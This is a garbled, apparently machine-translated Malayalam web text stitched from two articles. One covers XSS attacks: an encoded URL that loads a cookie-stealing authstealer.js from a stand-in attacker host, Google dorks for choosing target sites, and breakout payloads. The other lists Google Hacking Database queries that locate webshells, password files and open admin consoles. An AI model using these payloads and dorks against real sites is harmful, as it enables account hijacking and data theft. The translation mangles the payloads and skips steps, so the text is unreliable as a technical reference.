1. ബോബ് ഹോസ്റ്റ് ചെയ്യുന്ന ഒരു പ്രത്യേക വെബ്സൈറ്റ് ആലീസ് ഇടയ്ക്കിടെ സന്ദർശിക്കാറുണ്ട്. ഒരു ഉപയോക്തൃനാമം/പാസ്‌വേഡ് ഉപയോഗിച്ച് ലോഗിൻ ചെയ്യാനും പേയ്‌മെന്റ് വിവരങ്ങൾ പോലുള്ള സെൻസിറ്റീവ് ഡാറ്റ സംഭരിക്കാനും ബോബിന്റെ വെബ്‌സൈറ്റ് ആലീസിനെ അനുവദിക്കുന്നു. ഒരു ഉപയോക്താവ് ലോഗിൻ ചെയ്യുമ്പോൾ, ബ്രൗസർ അംഗീകാര കുക്കികൾ സംഭരിക്കുന്നു, അത് അർത്ഥശൂന്യമായ പ്രതീകങ്ങൾ പോലെ കാണപ്പെടുന്നു, അതായത്. അവൾ പ്രവേശിച്ചതായി രണ്ട് കമ്പ്യൂട്ടറുകളും (ക്ലയന്റും സെർവറും) ഓർക്കുന്നു.

2. ബോബിന്റെ വെബ്‌സൈറ്റിൽ സ്ഥിരമല്ലാത്ത XSS അപകടസാധ്യത അടങ്ങിയിട്ടുണ്ടെന്ന് മല്ലോറി കുറിക്കുന്നു:

2.1 നിങ്ങൾ തിരയൽ പേജ് സന്ദർശിക്കുമ്പോൾ, തിരയൽ സ്ട്രിംഗ് നൽകി സമർപ്പിക്കുക ബട്ടണിൽ ക്ലിക്കുചെയ്യുക, ഫലങ്ങളൊന്നും കണ്ടെത്തിയില്ലെങ്കിൽ, പേജ് നൽകിയ തിരയൽ സ്ട്രിംഗിനെ തുടർന്ന് "കണ്ടെത്തിയില്ല" എന്ന വാക്കുകൾ പ്രദർശിപ്പിക്കുകയും url http://bobssite പോലെ കാണപ്പെടുകയും ചെയ്യുന്നു. .org?q= അവളുടെ തിരയൽ അന്വേഷണം

2.2 "നായ്ക്കൾ" എന്ന വാക്ക് പോലെയുള്ള ഒരു സാധാരണ തിരയൽ അന്വേഷണത്തിൽ, പേജ് "നായ്ക്കളെ കണ്ടെത്തിയില്ല" എന്നതും url http://bobssite.org?q=dogs ഉം കാണിക്കുന്നു, ഇത് തികച്ചും സാധാരണ സ്വഭാവമാണ്.

2.3 എന്നിരുന്നാലും, അലേർട്ട് ("xss") പോലെയുള്ള അസാധാരണമായ ഒരു തിരയൽ അന്വേഷണം; :

2.3.1 ഒരു മുന്നറിയിപ്പ് സന്ദേശം ദൃശ്യമാകുന്നു (അതിൽ "xss" എന്ന് പറയുന്നു).

2.3.2 പേജ് അലേർട്ട് ("xss") പ്രദർശിപ്പിക്കുന്നു; "xss" എന്ന വാചകത്തോടുകൂടിയ ഒരു പിശക് സന്ദേശത്തോടൊപ്പം കണ്ടെത്തിയില്ല.

ചൂഷണത്തിന് അനുയോജ്യമായ 2.3.3 url http://bobssite.org?q=alert("xss");

3. അപകടസാധ്യത മുതലെടുക്കാൻ മല്ലോറി ഒരു URL നിർമ്മിക്കുന്നു:

3.1 അവൾ http://bobssite.org?q=puppies എന്ന URL ഉണ്ടാക്കുന്നു. അവൾ ASCII പ്രതീകങ്ങൾ http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E പോലെയുള്ള ഹെക്സാഡെസിമൽ ഫോർമാറ്റിലേക്ക് പരിവർത്തനം ചെയ്യാൻ തിരഞ്ഞെടുത്തേക്കാം. ക്ഷുദ്രകരമായ URL പെട്ടെന്ന് മനസ്സിലാക്കുന്നതിൽ നിന്ന് ആളുകളെ തടയുന്നതിന്.

3.2 ബോബിന്റെ സൈറ്റിലെ സംശയിക്കാത്ത ചില അംഗങ്ങൾക്ക് അവൾ ഇമെയിൽ അയയ്‌ക്കുന്നു, "അടിപൊളി നായ്ക്കളെ പരിശോധിക്കുക."

4. ആലീസിന് ഒരു കത്ത് ലഭിക്കുന്നു. അവൾ നായ്ക്കളെ സ്നേഹിക്കുന്നു, ലിങ്കിൽ ക്ലിക്ക് ചെയ്യുന്നു. തിരച്ചിലിൽ അവൾ ബോബിന്റെ സൈറ്റിലേക്ക് പോകുന്നു, അവൾ ഒന്നും കണ്ടെത്തിയില്ല, അവിടെ “നായയെ കണ്ടെത്തിയില്ല” എന്ന് കാണിക്കുന്നു, നടുവിൽ ഒരു സ്‌ക്രിപ്റ്റുള്ള ഒരു ടാഗ് ലോഞ്ച് ചെയ്യുന്നു (അത് സ്‌ക്രീനിൽ അദൃശ്യമാണ്), ഡൗൺലോഡ് ചെയ്‌ത് മാലോറിസ് എക്‌സിക്യൂട്ട് ചെയ്യുന്നു authstealer.js പ്രോഗ്രാം (ഒരു XSS ആക്രമണം ആരംഭിക്കുന്നു). ആലീസ് അത് മറക്കുന്നു.

5. authstealer.js പ്രോഗ്രാം ആലീസിന്റെ ബ്രൗസറിൽ പ്രവർത്തിക്കുന്നത് ബോബിന്റെ വെബ്‌സൈറ്റിൽ നിന്നാണ്. അവൾ ആലീസിന്റെ അംഗീകൃത കുക്കികളുടെ ഒരു പകർപ്പ് പിടിച്ചെടുക്കുകയും മലോറിയുടെ സെർവറിലേക്ക് അയക്കുകയും ചെയ്യുന്നു, അവിടെ മലോറി അവ വീണ്ടെടുക്കുന്നു.

7. ഇപ്പോൾ മലോറി ഉള്ളിലായതിനാൽ, അവൾ വെബ്‌സൈറ്റിന്റെ പേയ്‌മെന്റ് വിഭാഗത്തിലേക്ക് പോയി, ആലീസിന്റെ ക്രെഡിറ്റ് കാർഡ് നമ്പറിന്റെ ഒരു കോപ്പി നോക്കി മോഷ്ടിക്കുന്നു. അപ്പോൾ അവൾ പോയി പാസ്വേഡ് മാറ്റുന്നു, അതായത്. ഇപ്പോൾ ആലീസിന് ഇനി വരാൻ പോലും കഴിയില്ല.

8. അവൾ അടുത്ത ഘട്ടം സ്വീകരിക്കാൻ തീരുമാനിക്കുകയും ഈ രീതിയിൽ നിർമ്മിച്ച ലിങ്ക് ബോബിന് തന്നെ അയയ്ക്കുകയും അങ്ങനെ ബോബിന്റെ സൈറ്റിന് അഡ്മിനിസ്ട്രേറ്റീവ് പ്രത്യേകാവകാശങ്ങൾ ലഭിക്കുകയും ചെയ്യുന്നു.

സ്ഥിരമായ XSS ആക്രമണം

  • ബോബിന്റെ വെബ്‌സൈറ്റിൽ മല്ലോറിക്ക് ഒരു അക്കൗണ്ട് ഉണ്ട്.
  • ബോബിന്റെ വെബ്‌സൈറ്റിൽ സ്ഥിരമായ XSS അപകടസാധ്യത ഉണ്ടെന്ന് മല്ലോറി ശ്രദ്ധിക്കുന്നു. നിങ്ങൾ ഒരു പുതിയ വിഭാഗത്തിലേക്ക് പോയി ഒരു അഭിപ്രായം പോസ്റ്റ് ചെയ്താൽ, അതിൽ ടൈപ്പ് ചെയ്യുന്നതെന്തും അത് പ്രദർശിപ്പിക്കും. എന്നാൽ കമന്റ് ടെക്‌സ്‌റ്റിൽ HTML ടാഗുകൾ അടങ്ങിയിട്ടുണ്ടെങ്കിൽ, ആ ടാഗുകൾ അതേപടി റെൻഡർ ചെയ്യും, കൂടാതെ ഏതെങ്കിലും സ്‌ക്രിപ്റ്റ് ടാഗുകളും എക്‌സിക്യൂട്ട് ചെയ്യപ്പെടും.
  • മല്ലോറി വാർത്താ വിഭാഗത്തിലെ ഒരു ലേഖനം വായിക്കുകയും അഭിപ്രായ വിഭാഗത്തിൽ ഒരു അഭിപ്രായം എഴുതുകയും ചെയ്യുന്നു. കമന്റിൽ അവൾ വാചകം ചേർക്കുന്നു:
  • ഈ കഥയിലെ നായ്ക്കളെ എനിക്ക് വളരെ ഇഷ്ടപ്പെട്ടു. അവർ വളരെ നല്ലവരാണ്!
  • ആലീസ് (അല്ലെങ്കിൽ മറ്റാരെങ്കിലും) ഈ കമന്റ് ഉപയോഗിച്ച് ഒരു പേജ് ലോഡ് ചെയ്യുമ്പോൾ, മാലോറിയുടെ സ്‌ക്രിപ്റ്റ് ടാഗ് ഓടുകയും ആലീസിന്റെ അംഗീകാര കുക്കി മോഷ്ടിക്കുകയും, അത് ശേഖരിക്കുന്നതിനായി മാലോറിയുടെ രഹസ്യ സെർവറിലേക്ക് അയയ്ക്കുകയും ചെയ്യുന്നു.
  • മല്ലോറിക്ക് ഇപ്പോൾ ആലീസിന്റെ സെഷൻ ഹൈജാക്ക് ചെയ്യാനും ആലീസിനെ ആൾമാറാട്ടം നടത്താനും കഴിയും.
  • XSS-ന് അപകടസാധ്യതയുള്ള സൈറ്റുകൾ കണ്ടെത്തുന്നു

    XSS നായുള്ള ഡോർക്സ്

    ഞങ്ങൾ XSS ആക്രമണങ്ങൾ നടത്തുന്ന സൈറ്റുകൾ തിരഞ്ഞെടുക്കുക എന്നതാണ് ആദ്യ പടി. Google dorks ഉപയോഗിച്ച് സൈറ്റുകൾ തിരയാൻ കഴിയും. നിങ്ങൾക്ക് Google തിരയലിൽ പകർത്തി ഒട്ടിക്കാൻ കഴിയുന്ന ഈ ഡോർക്കുകളിൽ ചിലത് ഇതാ:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    സൈറ്റുകളുടെ ഒരു ലിസ്റ്റ് നമ്മുടെ മുന്നിൽ തുറക്കും. നിങ്ങൾ സൈറ്റ് തുറന്ന് അതിൽ ഒരു ഫീഡ്‌ബാക്ക് ഫോം, ഇൻപുട്ട് ഫോം, സൈറ്റ് തിരയൽ മുതലായവ പോലുള്ള ഇൻപുട്ട് ഫീൽഡുകൾ കണ്ടെത്തേണ്ടതുണ്ട്.

    ജനപ്രിയ സ്വയമേവ അപ്‌ഡേറ്റ് ചെയ്‌ത വെബ് ആപ്ലിക്കേഷനുകളിലെ കേടുപാടുകൾ നോക്കുന്നത് മിക്കവാറും ഉപയോഗശൂന്യമാണെന്ന് ഞാൻ ഉടൻ തന്നെ ശ്രദ്ധിക്കട്ടെ. അത്തരമൊരു ആപ്ലിക്കേഷന്റെ മികച്ച ഉദാഹരണമാണ് വേർഡ്പ്രസ്സ്. വാസ്തവത്തിൽ, WordPress-ലും പ്രത്യേകിച്ച് അതിന്റെ പ്ലഗിന്നുകളിലും കേടുപാടുകൾ ഉണ്ട്. മാത്രമല്ല, വേർഡ്പ്രസ്സ് എഞ്ചിൻ (സോഴ്‌സ് കോഡിൽ വെബ്‌മാസ്റ്റർ ചില മാറ്റങ്ങൾ വരുത്തിയതിനാൽ) അല്ലെങ്കിൽ അവയുടെ പ്ലഗിനുകളും തീമുകളും (ചട്ടം പോലെ, ഇവ പൈറേറ്റഡ് പ്ലഗിനുകളും തീമുകളും ആണ്) അപ്‌ഡേറ്റ് ചെയ്യാത്ത നിരവധി സൈറ്റുകളുണ്ട്. എന്നാൽ നിങ്ങൾ ഈ ഭാഗം വായിച്ച് അതിൽ നിന്ന് പുതിയ എന്തെങ്കിലും പഠിക്കുകയാണെങ്കിൽ, WordPress ഇതുവരെ നിങ്ങൾക്കുള്ളതല്ല... ഞങ്ങൾ തീർച്ചയായും പിന്നീട് അതിലേക്ക് മടങ്ങും.

    മികച്ച ലക്ഷ്യങ്ങൾ പലതരം സ്വയം എഴുതിയ എഞ്ചിനുകളും സ്ക്രിപ്റ്റുകളുമാണ്.

    നിങ്ങൾക്ക് ഇൻസേർട്ട് പേലോഡ് ആയി തിരഞ്ഞെടുക്കാം

    മുന്നറിയിപ്പ് (1)

    നിങ്ങളുടെ എംബഡഡ് കോഡ് ഏത് HTML കോഡ് ടാഗിലാണ് വരുന്നതെന്ന് ശ്രദ്ധിക്കുക. ഒരു സാധാരണ ഇൻപുട്ട് ഫീൽഡിന്റെ ഒരു ഉദാഹരണം ഇതാ:

    മുന്നറിയിപ്പ് (1)

    "പില്ലോകേസ്" എന്ന വാക്ക് ഇപ്പോൾ ഉള്ളിടത്ത് ഞങ്ങളുടെ പേലോഡ് അവസാനിക്കും. ആ. ഇൻപുട്ട് ടാഗിന്റെ മൂല്യത്തിലേക്ക് തിരിയുക. നമുക്ക് ഇത് ഒഴിവാക്കാം - ഞങ്ങൾ ഇരട്ട ഉദ്ധരണി അടയ്ക്കും, തുടർന്ന് "/> എന്ന ടാഗ് തന്നെ

    "/>അലേർട്ട്(1)

    ചില സൈറ്റുകൾക്കായി ഇത് ശ്രമിക്കാം:

    കൊള്ളാം, ഒരു ദുർബലതയുണ്ട്

    XSS കേടുപാടുകൾ തിരയുന്നതിനും സ്കാൻ ചെയ്യുന്നതിനുമുള്ള പ്രോഗ്രാമുകൾ

    ഒരുപക്ഷേ എല്ലാ വെബ് ആപ്ലിക്കേഷൻ സ്കാനറുകൾക്കും ഒരു ബിൽറ്റ്-ഇൻ XSS വൾനറബിലിറ്റി സ്കാനർ ഉണ്ടായിരിക്കും. ഈ വിഷയം സമഗ്രമല്ല; സമാനമായ ഓരോ സ്കാനറുമായും പ്രത്യേകം പരിചയപ്പെടുന്നതാണ് നല്ലത്.

    XSS കേടുപാടുകൾക്കായി സ്കാൻ ചെയ്യുന്നതിനുള്ള പ്രത്യേക ഉപകരണങ്ങളും ഉണ്ട്. അവയിൽ നമുക്ക് പ്രത്യേകിച്ച് ഹൈലൈറ്റ് ചെയ്യാൻ കഴിയും:

    • XSSer എന്നത് ഫിൽട്ടറിംഗ് കുത്തിവയ്ക്കുന്നതിനും മറികടക്കുന്നതിനുമുള്ള വിവിധ രീതികൾ ഉപയോഗിക്കാനാകുന്ന ഒരു ശക്തമായ സ്കാനർ മാത്രമല്ല, XSS-ന് (ഡോർക്ക് വഴി) ദുർബലമായ സൈറ്റുകൾക്കായി തിരയുന്നതിനുള്ള ഒരു ഓട്ടോമേറ്റഡ് ടൂൾ കൂടിയാണ് ഇത്. കണ്ടെത്തിയ കേടുപാടുകൾ ഉള്ള സൈറ്റുകൾക്ക്, ഒരു യഥാർത്ഥ ആക്രമണത്തിനായി ഒരു പേലോഡ് കുത്തിവയ്ക്കാൻ ഇതിന് കഴിയും;
    • XssPy എന്നത് ഒരു സൈറ്റിന്റെ എല്ലാ പേജുകളും (ഉപഡൊമെയ്‌നുകളിലുള്ളവ ഉൾപ്പെടെ) കണ്ടെത്താനും ഈ പേജുകളിലെ എല്ലാ ഇൻപുട്ട് ഘടകങ്ങളും പരിശോധിക്കാനും കഴിയുന്ന തികച്ചും സ്വതന്ത്രമായ ഒരു ടൂൾ കൂടിയാണ്;

    USSCLTD മെയ് 10, 2016 ഉച്ചയ്ക്ക് 12:38 ന്

    Google ഉപയോഗിച്ച് കേടുപാടുകൾക്കായി തിരയുന്നു
    • വിവര സുരക്ഷ

    വെബ് റിസോഴ്‌സുകളിലെ കേടുപാടുകൾക്കായുള്ള ഏതൊരു തിരയലും ആരംഭിക്കുന്നത് നിരീക്ഷണത്തിലും വിവര ശേഖരണത്തിലും നിന്നാണ്.
    ഇന്റലിജൻസ് ഒന്നുകിൽ സജീവമാകാം - സൈറ്റിന്റെ ഫയലുകളുടെയും ഡയറക്‌ടറികളുടെയും ബ്രൂട്ട് ഫോഴ്‌സ്, ദുർബലത സ്‌കാനറുകൾ പ്രവർത്തിപ്പിക്കുക, സൈറ്റ് സ്വമേധയാ ബ്രൗസ് ചെയ്യുക, അല്ലെങ്കിൽ നിഷ്‌ക്രിയ - വ്യത്യസ്ത തിരയൽ എഞ്ചിനുകളിൽ വിവരങ്ങൾ തിരയുക. സൈറ്റിന്റെ ആദ്യ പേജ് തുറക്കുന്നതിന് മുമ്പുതന്നെ ഒരു അപകടസാധ്യത അറിയുന്നത് ചിലപ്പോൾ സംഭവിക്കുന്നു.

    ഇത് എങ്ങനെ സാധിക്കും?
    സെർച്ച് റോബോട്ടുകൾ, ഇന്റർനെറ്റിൽ നിരന്തരം കറങ്ങുന്നു, ശരാശരി ഉപയോക്താവിന് ഉപയോഗപ്രദമായ വിവരങ്ങൾക്ക് പുറമേ, ഒരു വെബ് റിസോഴ്‌സിനെ ആക്രമിക്കാൻ ആക്രമണകാരികൾക്ക് ഉപയോഗിക്കാൻ കഴിയുന്ന കാര്യങ്ങൾ പലപ്പോഴും റെക്കോർഡുചെയ്യുന്നു. ഉദാഹരണത്തിന്, സ്‌ക്രിപ്റ്റ് പിശകുകളും സെൻസിറ്റീവ് വിവരങ്ങളുള്ള ഫയലുകളും (കോൺഫിഗറേഷൻ ഫയലുകളും ലോഗുകളും മുതൽ പ്രാമാണീകരണ ഡാറ്റയും ഡാറ്റാബേസ് ബാക്കപ്പുകളും ഉള്ള ഫയലുകൾ വരെ).
    ഒരു തിരയൽ റോബോട്ടിന്റെ വീക്ഷണകോണിൽ, ഒരു sql അന്വേഷണം നടപ്പിലാക്കുന്നതിനെക്കുറിച്ചുള്ള ഒരു പിശക് സന്ദേശം പ്ലെയിൻ വാചകമാണ്, വേർതിരിക്കാനാവാത്തതാണ്, ഉദാഹരണത്തിന്, പേജിലെ ഉൽപ്പന്നങ്ങളുടെ വിവരണത്തിൽ നിന്ന്. ചില കാരണങ്ങളാൽ സൈറ്റിന്റെ വർക്കിംഗ് ഫോൾഡറിൽ അവസാനിച്ച .sql വിപുലീകരണമുള്ള ഒരു ഫയലിൽ പെട്ടെന്ന് ഒരു തിരയൽ റോബോട്ട് വന്നാൽ, അത് സൈറ്റിന്റെ ഉള്ളടക്കത്തിന്റെ ഭാഗമായി കാണുകയും സൂചികയിലാകുകയും ചെയ്യും (ഒരുപക്ഷേ, പാസ്‌വേഡുകൾ ഉൾപ്പെടെ. അതിൽ വ്യക്തമാക്കിയിട്ടുണ്ട്).

    കേടുപാടുകൾ ഇല്ലാത്ത പേജുകളിൽ നിന്ന് "ദുർബലമായ പേജുകൾ" വേർതിരിക്കാൻ സഹായിക്കുന്ന ശക്തമായ, പലപ്പോഴും അതുല്യമായ, കീവേഡുകൾ അറിയുന്നതിലൂടെ അത്തരം വിവരങ്ങൾ കണ്ടെത്താനാകും.
    കീവേഡുകൾ (ഡോർക്സ് എന്ന് വിളിക്കപ്പെടുന്നവ) ഉപയോഗിച്ച് പ്രത്യേക അന്വേഷണങ്ങളുടെ ഒരു വലിയ ഡാറ്റാബേസ് exploit-db.com-ൽ നിലവിലുണ്ട്, ഇത് Google ഹാക്ക് ഡാറ്റാബേസ് എന്നറിയപ്പെടുന്നു.

    എന്തിനാണ് ഗൂഗിൾ?
    രണ്ട് കാരണങ്ങളാൽ ഡോർക്കുകൾ പ്രധാനമായും Google-നെ ലക്ഷ്യമിടുന്നു:
    - കീവേഡുകളുടെ ഏറ്റവും വഴക്കമുള്ള വാക്യഘടന (പട്ടിക 1-ൽ കാണിച്ചിരിക്കുന്നു), പ്രത്യേക പ്രതീകങ്ങൾ (പട്ടിക 2-ൽ കാണിച്ചിരിക്കുന്നു);
    - മറ്റ് സെർച്ച് എഞ്ചിനുകളേക്കാൾ ഗൂഗിൾ സൂചിക ഇപ്പോഴും പൂർണ്ണമാണ്;

    പട്ടിക 1 - പ്രധാന Google കീവേഡുകൾ

    കീവേഡ്
    അർത്ഥം
    ഉദാഹരണം
    സൈറ്റ്
    നിർദ്ദിഷ്ട സൈറ്റിൽ മാത്രം തിരയുക. url മാത്രം കണക്കിലെടുക്കുന്നു
    site:somesite.ru - തന്നിരിക്കുന്ന ഡൊമെയ്‌നിലും ഉപഡൊമെയ്‌നുകളിലും എല്ലാ പേജുകളും കണ്ടെത്തും
    inurl
    ഉറിയിൽ ഉള്ള വാക്കുകൾ ഉപയോഗിച്ച് തിരയുക. cl പോലെയല്ല. "സൈറ്റ്" എന്ന വാക്കുകൾ, സൈറ്റിന്റെ പേരിന് ശേഷമുള്ള പൊരുത്തങ്ങൾക്കായി തിരയുന്നു
    inurl:news - യുറിയിൽ നൽകിയിരിക്കുന്ന വാക്ക് ദൃശ്യമാകുന്ന എല്ലാ പേജുകളും കണ്ടെത്തുന്നു
    വാചകം
    പേജിന്റെ ബോഡിയിൽ തിരയുക
    intext:”ട്രാഫിക് ജാം” - “ട്രാഫിക് ജാമുകൾ” എന്ന സാധാരണ അഭ്യർത്ഥനയ്ക്ക് തികച്ചും സമാനമാണ്
    തലക്കെട്ട്
    പേജിന്റെ തലക്കെട്ടിൽ തിരയുക. ടാഗുകൾക്കിടയിലുള്ള വാചകം
    intitle:”index of” - ഡയറക്ടറി ലിസ്റ്റിംഗുകളുള്ള എല്ലാ പേജുകളും കണ്ടെത്തും
    ext
    ഒരു നിർദ്ദിഷ്‌ട വിപുലീകരണമുള്ള പേജുകൾക്കായി തിരയുക
    ext:pdf - എല്ലാ pdf ഫയലുകളും കണ്ടെത്തുന്നു
    ഫയൽ തരം
    നിലവിൽ, ക്ലാസിന് പൂർണ്ണമായും സമാനമാണ്. "ext" എന്ന വാക്ക്
    filetype:pdf - സമാനമായത്
    ബന്ധപ്പെട്ട
    സമാന വിഷയങ്ങളുള്ള സൈറ്റുകൾക്കായി തിരയുക
    related:google.ru - അതിന്റെ അനലോഗുകൾ കാണിക്കും
    ലിങ്ക്
    ഇതിലേക്ക് ലിങ്ക് ചെയ്യുന്ന സൈറ്റുകൾക്കായി തിരയുക
    link:somesite.ru - ഇതിലേക്ക് ലിങ്കുള്ള എല്ലാ സൈറ്റുകളും കണ്ടെത്തും
    നിർവ്വചിക്കുക
    പദ നിർവചനം കാണിക്കുക
    define:0day - പദത്തിന്റെ നിർവചനം
    കാഷെ
    പേജ് ഉള്ളടക്കങ്ങൾ കാഷെയിൽ കാണിക്കുക (നിലവിലുണ്ടെങ്കിൽ)
    cache:google.com - ഒരു കാഷെ ചെയ്ത പേജ് തുറക്കും

    പട്ടിക 2 - Google അന്വേഷണങ്ങൾക്കുള്ള പ്രത്യേക പ്രതീകങ്ങൾ

    ചിഹ്നം
    അർത്ഥം
    ഉദാഹരണം

    കൃത്യമായ വാചകം
    intitle:“RouterOS റൂട്ടർ കോൺഫിഗറേഷൻ പേജ്” - റൂട്ടറുകൾക്കായി തിരയുക
    *
    ഏതെങ്കിലും വാചകം
    inurl: “bitrix*mcart” - ദുർബലമായ mcart മൊഡ്യൂളുള്ള ബിട്രിക്‌സിൽ സൈറ്റുകൾക്കായി തിരയുക
    .
    ഏത് കഥാപാത്രവും
    Index.of - അഭ്യർത്ഥനയുടെ സൂചികയ്ക്ക് സമാനമാണ്
    -
    ഒരു വാക്ക് ഇല്ലാതാക്കുക
    പിശക് -മുന്നറിയിപ്പ് - പിശകുള്ളതും എന്നാൽ മുന്നറിയിപ്പില്ലാത്തതുമായ എല്ലാ പേജുകളും കാണിക്കുക
    ..
    പരിധി
    cve 2006..2016 - 2006 മുതൽ വർഷം തോറും കേടുപാടുകൾ കാണിക്കുക
    |
    ലോജിക്കൽ "അല്ലെങ്കിൽ"
    ലിനക്സ് | windows - ആദ്യത്തെ അല്ലെങ്കിൽ രണ്ടാമത്തെ വാക്ക് ദൃശ്യമാകുന്ന പേജുകൾ കാണിക്കുക

    ഒരു സെർച്ച് എഞ്ചിനിലേക്കുള്ള ഏതൊരു അഭ്യർത്ഥനയും വാക്കുകളിലൂടെയുള്ള തിരയലാണെന്ന് മനസ്സിലാക്കേണ്ടതാണ്.
    പേജിൽ മെറ്റാ പ്രതീകങ്ങൾ തിരയുന്നത് ഉപയോഗശൂന്യമാണ് (ഉദ്ധരണികൾ, പരാൻതീസിസ്, ചിഹ്ന ചിഹ്നങ്ങൾ മുതലായവ). ഉദ്ധരണി ചിഹ്നങ്ങളിൽ വ്യക്തമാക്കിയിട്ടുള്ള കൃത്യമായ വാക്യത്തിനായുള്ള തിരയൽ പോലും ഒരു പദ തിരയലാണ്, തുടർന്ന് ഫലങ്ങളിൽ കൃത്യമായ പൊരുത്തത്തിനായി തിരയുക.

    എല്ലാ Google Hack Database dorks ഉം യുക്തിപരമായി 14 വിഭാഗങ്ങളായി തിരിച്ചിരിക്കുന്നു, അവ പട്ടിക 3-ൽ അവതരിപ്പിച്ചിരിക്കുന്നു.
    പട്ടിക 3 - Google ഹാക്ക് ഡാറ്റാബേസ് വിഭാഗങ്ങൾ

    വിഭാഗം
    എന്താണ് കണ്ടെത്താൻ നിങ്ങളെ അനുവദിക്കുന്നത്
    ഉദാഹരണം
    കാൽപ്പാടുകൾ
    വെബ് ഷെല്ലുകൾ, പൊതു ഫയൽ മാനേജർമാർ
    ലിസ്‌റ്റ് ചെയ്‌ത വെബ്‌ഷെല്ലുകൾ അപ്‌ലോഡ് ചെയ്‌ത എല്ലാ ഹാക്ക് ചെയ്‌ത സൈറ്റുകളും കണ്ടെത്തുക:
    (ശീർഷകം:"phpshell" അല്ലെങ്കിൽ തലക്കെട്ട്:"c99shell" അല്ലെങ്കിൽ തലക്കെട്ട്:"r57shell" അല്ലെങ്കിൽ തലക്കെട്ട്:"PHP ഷെൽ" അല്ലെങ്കിൽ തലക്കെട്ട്:"phpRemoteView") `rwx` "uname"
    ഉപയോക്തൃനാമങ്ങൾ അടങ്ങിയ ഫയലുകൾ
    രജിസ്ട്രി ഫയലുകൾ, കോൺഫിഗറേഷൻ ഫയലുകൾ, ലോഗുകൾ, നൽകിയ കമാൻഡുകളുടെ ചരിത്രം അടങ്ങുന്ന ഫയലുകൾ
    അക്കൗണ്ട് വിവരങ്ങൾ അടങ്ങിയ എല്ലാ രജിസ്ട്രി ഫയലുകളും കണ്ടെത്തുക:
    filetype:reg reg +intext:“ഇന്റർനെറ്റ് അക്കൗണ്ട് മാനേജർ”
    സെൻസിറ്റീവ് ഡയറക്ടറികൾ
    വിവിധ വിവരങ്ങളുള്ള ഡയറക്ടറികൾ (വ്യക്തിഗത പ്രമാണങ്ങൾ, vpn കോൺഫിഗറേഷനുകൾ, മറഞ്ഞിരിക്കുന്ന ശേഖരണങ്ങൾ മുതലായവ)
    VPN-മായി ബന്ധപ്പെട്ട ഫയലുകൾ അടങ്ങിയ എല്ലാ ഡയറക്ടറി ലിസ്റ്റിംഗുകളും കണ്ടെത്തുക:
    "കോൺഫിഗ്" തലക്കെട്ട്: "ഇൻഡക്സ്" ഇൻടെക്സ്റ്റ്:വിപിഎൻ
    ജിറ്റ് റിപ്പോസിറ്ററികൾ അടങ്ങിയ സൈറ്റുകൾ:
    (ഇൻടെക്‌സ്‌റ്റ്:"ഇൻഡക്സ് /.git") ("പാരന്റ് ഡയറക്ടറി")
    വെബ് സെർവർ കണ്ടെത്തൽ
    വെബ് സെർവറിനെക്കുറിച്ചുള്ള പതിപ്പും മറ്റ് വിവരങ്ങളും
    JBoss സെർവർ അഡ്മിനിസ്ട്രേറ്റീവ് കൺസോളുകൾ കണ്ടെത്തുക:
    inurl:"/web-console/" intitle:"അഡ്‌മിനിസ്‌ട്രേഷൻ കൺസോൾ"
    ദുർബലമായ ഫയലുകൾ
    അറിയപ്പെടുന്ന കേടുപാടുകൾ അടങ്ങിയ സ്ക്രിപ്റ്റുകൾ
    സെർവറിൽ നിന്ന് ഒരു അനിയന്ത്രിതമായ ഫയൽ അപ്‌ലോഡ് ചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്ന ഒരു സ്‌ക്രിപ്റ്റ് ഉപയോഗിക്കുന്ന സൈറ്റുകൾ കണ്ടെത്തുക:
    allinurl:forcedownload.php?file=
    ദുർബലമായ സെർവറുകൾ
    ഇൻസ്റ്റലേഷൻ സ്ക്രിപ്റ്റുകൾ, വെബ് ഷെല്ലുകൾ, ഓപ്പൺ അഡ്മിനിസ്ട്രേറ്റീവ് കൺസോളുകൾ മുതലായവ.
    റൂട്ടായി പ്രവർത്തിക്കുന്ന തുറന്ന PHPMyAdmin കൺസോളുകൾ കണ്ടെത്തുക:
    intitle:phpMyAdmin "phpMyAdmin ***ലേക്ക് സ്വാഗതം ***" "റൂട്ട്@* എന്നതിൽ പ്രവർത്തിക്കുന്നു"
    പിശക് സന്ദേശങ്ങൾ
    വിവിധ പിശകുകളും മുന്നറിയിപ്പുകളും പലപ്പോഴും പ്രധാനപ്പെട്ട വിവരങ്ങൾ വെളിപ്പെടുത്തുന്നു - CMS പതിപ്പ് മുതൽ പാസ്‌വേഡുകൾ വരെ
    ഡാറ്റാബേസിലേക്ക് SQL അന്വേഷണങ്ങൾ നടപ്പിലാക്കുന്നതിൽ പിശകുകളുള്ള സൈറ്റുകൾ:
    "മുന്നറിയിപ്പ്: mysql_query()" "അസാധുവായ ചോദ്യം"
    രസകരമായ വിവരങ്ങൾ അടങ്ങിയ ഫയലുകൾ
    സർട്ടിഫിക്കറ്റുകൾ, ബാക്കപ്പുകൾ, ഇമെയിലുകൾ, ലോഗുകൾ, SQL സ്ക്രിപ്റ്റുകൾ മുതലായവ.
    ഇനിഷ്യലൈസേഷൻ sql സ്ക്രിപ്റ്റുകൾ കണ്ടെത്തുക:
    filetype:sql, "insert into" -site:github.com
    പാസ്‌വേഡുകൾ അടങ്ങിയ ഫയലുകൾ
    പാസ്‌വേഡുകൾ ഉൾക്കൊള്ളാൻ കഴിയുന്ന എന്തും - ലോഗുകൾ, sql സ്ക്രിപ്റ്റുകൾ മുതലായവ.
    പാസ്‌വേഡുകൾ പരാമർശിക്കുന്ന ലോഗുകൾ:
    ഫയൽ തരം:ലോഗ്വാചകം:രഹസ്യവാക്ക് |പാസ് |pw
    പാസ്‌വേഡുകൾ അടങ്ങുന്ന sql സ്ക്രിപ്റ്റുകൾ:
    ext:sqlവാചകം:ഉപയോക്തൃനാമംവാചകം:password
    സെൻസിറ്റീവ് ഓൺലൈൻ ഷോപ്പിംഗ് വിവരങ്ങൾ
    ഓൺലൈൻ വാങ്ങലുമായി ബന്ധപ്പെട്ട വിവരങ്ങൾ
    പിൻകോഡുകൾ കണ്ടെത്തുക:
    dcid=bn=പിൻകോഡ്=
    നെറ്റ്‌വർക്ക് അല്ലെങ്കിൽ ദുർബലത ഡാറ്റ
